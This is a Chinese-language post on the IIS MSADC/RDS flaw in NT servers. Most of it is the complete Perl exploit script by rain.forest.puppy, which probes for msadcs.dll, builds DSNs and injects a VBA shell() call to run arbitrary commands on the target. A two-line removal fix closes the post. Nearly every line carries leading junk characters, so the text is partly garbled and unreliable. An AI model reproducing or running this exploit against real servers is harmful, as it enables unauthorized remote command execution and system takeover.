IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
b]"2VN x\6];SXX 涉及程序:
JV&Zwbu Microsoft NT server
<r_3obRC p%tE v 描述:
r1+c/;TpZ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
O/(3 87= U k{_1r; 详细:
\zBd<H4S: 如果你没有时间读详细内容的话,就删除:
ftxTX3X c:\Program Files\Common Files\System\Msadc\msadcs.dll
=,O/,2) 有关的安全问题就没有了。
)dqR<) Bj; [ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
UmYD] 1E8$% 6VV 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
uL
bp.N8 关于利用ODBC远程漏洞的描述,请参看:
)y(oHRCp-> xna7kA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^)Smv\Md b By'v/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
y?"$(%3| http://www.microsoft.com/security/bulletins/MS99-025faq.asp akMJ4EF/ :,jPNuOA 这里不再论述。
9U&~(; ~KJ,SLzhx9 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
33*^($bE& EN)YoVk /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
KuIkul9^% 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
E2h(w_l 15o9CaQw4" :DDO= #将下面这段保存为txt文件,然后: "perl -x 文件名"
*U:VM'a G aha Z
F #!perl
z'?SRK5+ #
I; ^xAd3G # MSADC/RDS 'usage' (aka exploit) script
?Y%}(3y #
VIb;96$Or # by rain.forest.puppy
I+*osk #
0K&_D) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$K`_
K#A # beta test and find errors!
4A;[sm^f ~(stA3]k use Socket; use Getopt::Std;
u.$Ym getopts("e:vd:h:XR", \%args);
o1
jk= 3xRM
1GgO print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n/xXQ7y 3Wjq >\ if (!defined $args{h} && !defined $args{R}) {
qi(&8in print qq~
SRP5P,- y Usage: msadc.pl -h <host> { -d <delay> -X -v }
lQ+Ru8I -h <host> = host you want to scan (ip or domain)
sq6>DuBZz -d <seconds> = delay between calls, default 1 second
T@B"BoKU -X = dump Index Server path table, if available
^cB49s+{e -v = verbose
ixIh
T -e = external dictionary file for step 5
rH[5~U O'"YJ, Or a -R will resume a command session
9
aY'0wa ?$UH9T9) ~; exit;}
Qk?jGXB>^ ^!q 08`0 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
eVJ= .?r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<9=zP/Q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Cw6>^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
n>u.3wL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
iU.!oeR? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\El|U#$u' YI L'YNH if (!defined $args{R}){ $ret = &has_msadc;
N<p5p0 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$5ZR[\$ eL<m.06cfY print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<l*agH-.3 . "cmd /c ";
rd XCWK$E $in=<STDIN>; chomp $in;
s;vWR^Ll $command="cmd /c " . $in ;
98X!uh' ?lu_}t] if (defined $args{R}) {&load; exit;}
_Ngx$ }9{dR4hD print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3 %z &try_btcustmr;
H|grbTv, 7xX;MB& print "\nStep 2: Trying to make our own DSN...";
`Af{H/qiI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
D."cQ<sxpN elN{7: print "\nStep 3: Trying known DSNs...";
9yh9HE &known_dsn;
suA+8}o] kA?X^nj@ print "\nStep 4: Trying known .mdbs...";
$Sp*)A]E` &known_mdb;
I8%d;G~ !Sh^LYqn if (defined $args{e}){
pYYqGv^oa print "\nStep 5: Trying dictionary of DSN names...";
kqj;l\N &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ck(CA(_ <f7?PAd print "Sorry Charley...maybe next time?\n";
i58ZV`Rk` exit;
Zkf 3t>[ 9zXu6<|qrL ##############################################################################
^</65+OT+ 'CP/ym f/a sub sendraw { # ripped and modded from whisker
<m?GJuQ' sleep($delay); # it's a DoS on the server! At least on mine...
*LY~l my ($pstr)=@_;
+P>Gy`D9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uPa/,"p die("Socket problems\n");
`4q5CJ2 if(connect(S,pack "SnA4x8",2,80,$target)){
*ah>-}- select(S); $|=1;
v_y!Oh?EG print $pstr; my @in=<S>;
6a "VCE] select(STDOUT); close(S);
ap Fs UsE return @in;
Gg
7WmL } else { die("Can't connect...\n"); }}
jA20c(O .OVW4svX ##############################################################################
lcu( "^{3 ]jHh7> D sub make_header { # make the HTTP request
4^d+l.F my $msadc=<<EOT
1x~%Ydy POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!yoSMI- User-Agent: ACTIVEDATA
>2l13^Y Host: $ip
hgTM5*fD} Content-Length: $clen
bYwI==3 Connection: Keep-Alive
b@nri5noBm \>*MMe ADCClientVersion:01.06
b&\3ps Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/#S4espE W&fW5af9 --!ADM!ROX!YOUR!WORLD!
LydbP17K} Content-Type: application/x-varg
\_m\U.* Content-Length: $reqlen
.V5q$5j \zk?$'d EOT
r1[E{Tpz ; $msadc=~s/\n/\r\n/g;
t_[M& return $msadc;}
GM)\)\kNF [;>zqNy ##############################################################################
r;&]?9)W0 -mev%lV sub make_req { # make the RDS request
Uq<a22t@ my ($switch, $p1, $p2)=@_;
9@KUqoX my $req=""; my $t1, $t2, $query, $dsn;
#rn4$ {:};(oz)f if ($switch==1){ # this is the btcustmr.mdb query
m#5|J@] $query="Select * from Customers where City=" . make_shell();
sDLVYD $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
g@S@d&9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<7_ |Q X_lUD?y elsif ($switch==2){ # this is general make table query
/|4Q9= $query="create table AZZ (B int, C varchar(10))";
OqfhCNAY $dsn="$p1";}
Bo\a ^ l]]qdNr elsif ($switch==3){ # this is general exploit table query
JcvHJ0X~a $query="select * from AZZ where C=" . make_shell();
]FY?_DGOA $dsn="$p1";}
^4xlZouCb VxUvvJ{-v elsif ($switch==4){ # attempt to hork file info from index server
uR06&SaA> $query="select path from scope()";
.4S^nP $dsn="Provider=MSIDXS;";}
O:oU`vE .u&&H_ UmE elsif ($switch==5){ # bad query
d1srV` $query="select";
otmIu` h $dsn="$p1";}
b
xk'a,!S |'V<>v.v $t1= make_unicode($query);
}aHB$}"! $t2= make_unicode($dsn);
_~X8/p/Qh $req = "\x02\x00\x03\x00";
`^XRrVX< $req.= "\x08\x00" . pack ("S1", length($t1));
x'E'jh% $req.= "\x00\x00" . $t1 ;
FbNH+? $req.= "\x08\x00" . pack ("S1", length($t2));
mhHA!:Y $req.= "\x00\x00" . $t2 ;
rd&*j^? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
EmtDrx4!(f return $req;}
kcq9p2zKv >:Rt>po8|w ##############################################################################
WrE-Zti h/0<:eZ* sub make_shell { # this makes the shell() statement
v7{ P].M return "'|shell(\"$command\")|'";}
(uuEjM$3% )1ZJ ##############################################################################
W,9k0t ,(@Y%UW: sub make_unicode { # quick little function to convert to unicode
Dg9--wI}I9 my ($in)=@_; my $out;
"k\Ff50 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pz*/4 return $out;}
F"B<R~ Sah<sb= ##############################################################################
6i9Q,4~ 0UM@L
}L sub rdo_success { # checks for RDO return success (this is kludge)
`@fhge my (@in) = @_; my $base=content_start(@in);
hQg,#r(JE4 if($in[$base]=~/multipart\/mixed/){
!^Z[z[ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3X-{2R/ 3 return 0;}
*@bg/S
K% EO o'a ##############################################################################
K,lK\^y 2-"Lxe65f sub make_dsn { # this makes a DSN for us
>j(I[_g my @drives=("c","d","e","f");
8
7|8eU2:k print "\nMaking DSN: ";
O" X!S_R foreach $drive (@drives) {
:)A.E}G print "$drive: ";
VV0EgfJ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
SxLHFN] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
C1#o<pv . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
t?%}hs\! $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
zn2"swhq\V return 0 if $2 eq "404"; # not found/doesn't exist
>0g`U if($2 eq "200") {
4 BE:&A foreach $line (@results) {
4AJu2Hp return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]Vf8mkDGO } return 0;}
~
X]"P4 u o5*74Mv ##############################################################################
?j&~vy= T 1eE]4Z4Q sub verify_exists {
!~|"LA!jn my ($page)=@_;
w{YtTZp3 my @results=sendraw("GET $page HTTP/1.0\n\n");
JL]k:i^`A return $results[0];}
&geOFe}R 5H'b4Cyi` ##############################################################################
@ 2%.>0s. 8M3p\}O sub try_btcustmr {
xvdnEaWe$ my @drives=("c","d","e","f");
IxEQh)J X my @dirs=("winnt","winnt35","winnt351","win","windows");
k"DQbUy0L $X.'W\o| foreach $dir (@dirs) {
(zM+7tJH print "$dir -> "; # fun status so you can see progress
%~B)~|h foreach $drive (@drives) {
Tg<>B print "$drive: "; # ditto
QRg"/62WCD $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4Rrw8Bw $reqlenlen=length( "$reqlen" );
T|BY00Sz` $clen= 206 + $reqlenlen + $reqlen;
T,xVQ4J? Ybn=Gy my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\J3v>&m<7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8,H#t@+MT else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
U"%8"G0) 35@Ibe~ ##############################################################################
{*ko=77$* V %{9o sub odbc_error {
]mO+<{{4X my (@in)=@_; my $base;
6&OonYsP my $base = content_start(@in);
uc"[ qT(X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
My6]k?;}( $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x%:>Ol $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!cFE^VM_; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0o"<^]
_| return $in[$base+4].$in[$base+5].$in[$base+6];}
PTI'N%W print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
vU\w3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
gKm~cjCB`~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
e u=f-HW] K&Wv.}=V ##############################################################################
[r/Seg" *NwKD:o sub verbose {
}07<(,0n my ($in)=@_;
!+*?pq return if !$verbose;
=DF@kR[CH" print STDOUT "\n$in\n";}
1+i *2m&?,nJ ##############################################################################
d~z<,_r5c EbwZZSds1 sub save {
(PT?h>|St my ($p1, $p2, $p3, $p4)=@_;
,rl
<ye*& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
rY_C3;B print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
a,0o{*(u$ close OUT;}
?w5nKpG#RI @R-~zOv ##############################################################################
)H37a z7l;|T sub load {
.}hZ7>4- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
NM.f0{:cj open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^kR^
QL$ @p=<IN>; close(IN);
n'ca*E( $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
->"h5h $target= inet_aton($ip) || die("inet_aton problems");
gU 2c--` print "Resuming to $ip ...";
ae(]9 VW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
f@.Q%+!4 if($p[1]==1) {
kAQ\t?`x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Vp-OGX[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
cwW~ *90# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
- m x3^ if (rdo_success(@results)){print "Success!\n";}
@9kk
f{? else { print "failed\n"; verbose(odbc_error(@results));}}
8Jy1=R*S elsif ($p[1]==3){
hDkqEkq1R if(run_query("$p[3]")){
CyBM4qyH print "Success!\n";} else { print "failed\n"; }}
23n8,} H, elsif ($p[1]==4){
*
SON>BSF if(run_query($drvst . "$p[3]")){
9:Z~}yX print "Success!\n"; } else { print "failed\n"; }}
tL4]6u exit;}
vM4`u5 fdH'z:Xao ##############################################################################
v8fZ?dx ^%OH}Z `ly sub create_table {
K/.hJ my ($in)=@_;
7rDRu] $reqlen=length( make_req(2,$in,"") ) - 28;
v,.n/@s|X $reqlenlen=length( "$reqlen" );
1.d9{LO [- $clen= 206 + $reqlenlen + $reqlen;
MPEBinE? my @results=sendraw(make_header() . make_req(2,$in,""));
7Hkf7\JY return 1 if rdo_success(@results);
Xi`U`7?D(= my $temp= odbc_error(@results); verbose($temp);
[@FeRIu8 return 1 if $temp=~/Table 'AZZ' already exists/;
1oW]O@R return 0;}
uA}FuOE6 d<cbp[3F ##############################################################################
Ex s _LN +MoxvW6 sub known_dsn {
!
{o+B^^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
PM?Ri^55<L my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
KZ
>"L "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
tIy/QN_42 "banner", "banners", "ads", "ADCDemo", "ADCTest");
"s6_lhu=E7 bg3jo1J foreach $dSn (@dsns) {
H><mcah print ".";
ORPl^n- next if (!is_access("DSN=$dSn"));
7u3b aM if(create_table("DSN=$dSn")){
@/2wmza%2 print "$dSn successful\n";
AQNx% if(run_query("DSN=$dSn")){
fD}]Mi:V print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<.%8j\j( print "Something's borked. Use verbose next time\n";}}} print "\n";}
j8A R# 68br ##############################################################################
{|wTZ ,'{B+CHoS sub is_access {
\,#4+&4b my ($in)=@_;
7Hlh
(k $reqlen=length( make_req(5,$in,"") ) - 28;
.Fz6+m;Z $reqlenlen=length( "$reqlen" );
*M!YQ<7G^d $clen= 206 + $reqlenlen + $reqlen;
|/Q. "d my @results=sendraw(make_header() . make_req(5,$in,""));
Hf]}OvT>Z my $temp= odbc_error(@results);
AA%g^PWpR verbose($temp); return 1 if ($temp=~/Microsoft Access/);
LYT<o FE- return 0;}
xcRrI|?eC Jz8#88cY ##############################################################################
tZBE& :l UHl/AM>! sub run_query {
t:@A)ip my ($in)=@_;
8uD%]k=#! $reqlen=length( make_req(3,$in,"") ) - 28;
<^c0bY1 $reqlenlen=length( "$reqlen" );
`TR9GWU+B $clen= 206 + $reqlenlen + $reqlen;
"uERa(i my @results=sendraw(make_header() . make_req(3,$in,""));
(>lqp%G~ return 1 if rdo_success(@results);
ej53O/hP my $temp= odbc_error(@results); verbose($temp);
.0;k|&eBD return 0;}
cZF;f{t v&,VC~RN-J ##############################################################################
]T$w7puaJ 6]A\8Ty sub known_mdb {
7
,~Krzv my @drives=("c","d","e","f","g");
,ui'^8{gK my @dirs=("winnt","winnt35","winnt351","win","windows");
WG=r? xE my $dir, $drive, $mdb;
Jj!tRZT my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5:3$VWLa
< T
]nR
XW$ # this is sparse, because I don't know of many
Vw@x my @sysmdbs=( "\\catroot\\icatalog.mdb",
X_S]8Aa "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
F7u%oLjr "\\system32\\certmdb.mdb",
(=B7_jrl "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
%z_b/yG 5*'N Q010 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
bN%MT#X "\\cfusion\\cfapps\\forums\\forums_.mdb",
)
G&3V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
p.Yg-CA "\\cfusion\\cfapps\\security\\realm_.mdb",
_BaS\U%1( "\\cfusion\\cfapps\\security\\data\\realm.mdb",
n/Z =q?_ "\\cfusion\\database\\cfexamples.mdb",
WSccR "\\cfusion\\database\\cfsnippets.mdb",
1,D
^, "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
aL6 5t\2 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%31K*i/] "\\cfusion\\brighttiger\\database\\cleam.mdb",
?O^:j!C6 "\\cfusion\\database\\smpolicy.mdb",
qGUe0( "\\cfusion\\database\cypress.mdb",
<.XoC?j "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
h0QQP "\\website\\cgi-win\\dbsample.mdb",
AQGE(%X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
&
b2(Y4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
5fv6RQD ); #these are just
%Ne>'252y foreach $drive (@drives) {
XE%6c3s foreach $dir (@dirs){
I}3K,w/7mi foreach $mdb (@sysmdbs) {
bv" ({:x print ".";
Bm>(m{sX> if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
iEO2Bil] print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
EB<tX`Wp if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
f3|=T8"t print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Q#bo!]H{t } else { print "Something's borked. Use verbose next time\n"; }}}}}
2_DtzY:= Q*o4zW foreach $drive (@drives) {
!H.lVA foreach $mdb (@mdbs) {
SvJ8Kl OV print ".";
E*"E{E7 if(create_table($drv . $drive . $dir . $mdb)){
I=I%e3GEm print "\n" . $drive . $dir . $mdb . " successful\n";
"2j~3aWj if(run_query($drv . $drive . $dir . $mdb)){
@D{[Hj`< print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!-Q!/? } else { print "Something's borked. Use verbose next time\n"; }}}}
{D.0_=y~2 }
45JLx?rN_ +@v} ( ##############################################################################
2xm?,p` du)G)~ sub hork_idx {
?%n9g)>Yej print "\nAttempting to dump Index Server tables...\n";
v)pWx0l= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
W]]2Uo. $reqlen=length( make_req(4,"","") ) - 28;
t$%}*@x7 $reqlenlen=length( "$reqlen" );
[$+61n}.12 $clen= 206 + $reqlenlen + $reqlen;
ho<#i( my @results=sendraw2(make_header() . make_req(4,"",""));
;!Bkk9r"H if (rdo_success(@results)){
!9Xex?et my $max=@results; my $c; my %d;
c67!OHu mP for($c=19; $c<$max; $c++){
cne[-E $results[$c]=~s/\x00//g;
sTY l' Ieg $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1 SZa\ ][@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5n#&Hjb*F0 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
D4T+Gk"n $d{"$1$2"}="";}
|,f6c
Omf foreach $c (keys %d){ print "$c\n"; }
B}T72!a } else {print "Index server doesn't seem to be installed.\n"; }}
l/M+JT~R g}h0J%s ##############################################################################
I[ C.iILL |Q+v6r(<zZ sub dsn_dict {
yU`IyaazZ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
3P>@ : while(<IN>){
Dn!V)T $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Fm{y.URo
next if (!is_access("DSN=$dSn"));
|mX8fRh if(create_table("DSN=$dSn")){
C*<LVW{P print "$dSn successful\n";
|a3b2x, if(run_query("DSN=$dSn")){
--D`YmB print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
IC42O_^ print "Something's borked. Use verbose next time\n";}}}
QY!A[!6h print "\n"; close(IN);}
HX[#tT|m~ jlZNANR3 ##############################################################################
7MfvU|D[d/ Jl}7]cVq# sub sendraw2 { # ripped and modded from whisker
~=Sr0+vV sleep($delay); # it's a DoS on the server! At least on mine...
;T(^riAEl my ($pstr)=@_;
b`=rd 4cpU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9bvd1bKEW die("Socket problems\n");
N/p_6GYMa if(connect(S,pack "SnA4x8",2,80,$target)){
v<**GW]neD print "Connected. Getting data";
xbIA97g-O, open(OUT,">raw.out"); my @in;
5$w1[}UUd select(S); $|=1; print $pstr;
_E7eJSM. while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
@n3PCH6:Ao close(OUT); select(STDOUT); close(S); return @in;
3+'w% I } else { die("Can't connect...\n"); }}
!Zx>)V6. 7dIDKx ##############################################################################
\:S8mDI^s d{jl&:
sub content_start { # this will take in the server headers
c0~'5Mlp my (@in)=@_; my $c;
To95WG7G for ($c=1;$c<500;$c++) {
p`0Tpgi if($in[$c] =~/^\x0d\x0a/){
B7C6Mau if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
co|0s+%PBq else { return $c+1; }}}
N11am return -1;} # it should never get here actually
Orgje@c{ ,.B8hr@H6- ##############################################################################
cQ%HwYn v4G kf sub funky {
uR[i9%=8L( my (@in)=@_; my $error=odbc_error(@in);
R7>@-EG if($error=~/ADO could not find the specified provider/){
p-_j0zv print "\nServer returned an ADO miscofiguration message\nAborting.\n";
TY}?>t+ exit;}
lRq!|.C if($error=~/A Handler is required/){
7[PXZT print "\nServer has custom handler filters (they most likely are patched)\n";
rL/+`H exit;}
9:WKG'E8a if($error=~/specified Handler has denied Access/){
Ig2VJ s; print "\nServer has custom handler filters (they most likely are patched)\n";
[; bLlS, exit;}}
12E"6E) }K\_N]#6n ##############################################################################
u-$AFSt +iR;D$w sub has_msadc {
aJts my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Hqk2W*UTl my $base=content_start(@results);
)sr]}S0 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Qy%/+9L return 0;}
:A[/;|& H#:Yw|t ########################
qn . EOiKwhrV 62q-7nV 解决方案:
Y;WrfO$J 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
}HzZj;O^2> 2、移除web 目录: /msadc